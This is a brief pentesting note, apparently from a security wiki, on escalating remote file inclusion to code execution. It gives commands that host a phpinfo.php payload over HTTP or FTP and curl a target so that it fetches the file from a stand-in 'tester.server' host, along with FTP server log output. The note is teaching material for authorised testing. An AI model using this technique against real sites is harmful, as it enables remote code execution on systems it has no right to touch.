RFI to RCE
Theory
Practice
# Create phpinfo.php
echo '<?php phpinfo(); ?>' > phpinfo.php
# Start a web server
python3 -m http.server 80
# Exploit the RFI to fetch the remote phpinfo.php file
curl '$URL/?parameter=http://tester.server/phpinfo.php'# Start FTP server
sudo python3 -m pyftpdlib -p 21 1 ↵ alex@ubuntu
[I 2022-07-11 00:04:26] concurrency model: async
[I 2022-07-11 00:04:26] masquerade (NAT) address: None
[I 2022-07-11 00:04:26] passive ports: None
[I 2022-07-11 00:04:26] >>> starting FTP server on 0.0.0.0:21, pid=176948 <<<
# Exploit the RFI to fetch the remote phpinfo.php file
curl '$URL/?parameter=ftp://tester.server/phpinfo.php'References
Last updated